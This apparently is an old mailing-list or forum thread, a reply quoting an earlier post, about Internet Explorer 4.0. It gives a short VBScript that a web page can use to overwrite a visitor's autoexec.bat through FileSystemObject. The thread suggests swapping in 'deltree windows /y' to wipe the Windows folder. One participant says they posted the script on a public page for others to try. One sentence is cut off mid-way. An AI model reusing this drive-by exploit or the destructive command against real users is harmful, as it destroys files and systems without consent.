I tried this script on Internet Explorer 4.0 and received a scripting error.  For those interested in trying it on their system, I posted it at www.geocities.com/SiliconValley/Pines/4951/danger.html

Make sure to back up your autoexec.bat before trying, in case it works!!

Hi all,

Sorry to be out of topic but...

For those who are using Internet Explorer 4.0 YACK!

If you put that little script in a web page, you can modify all the files
you want and make a big crash!

This script works with VBScript 3.x engines...


Set fs = CreateObject("Scripting.FileSystemObject")
Set a = fs.CreateTextFile("c:\autoexec.bat", True)
a.WriteLine("@echo off")
a.WriteLine("echo This is a test.")
a.WriteLine("@echo on")



Good Bye!


This will replace the autoexec.bat of the client with the content of

Imagine with "deltree windows /y"

If you plan to try this script, BACKUP YOUR AUTOEXEC.BAT!!!
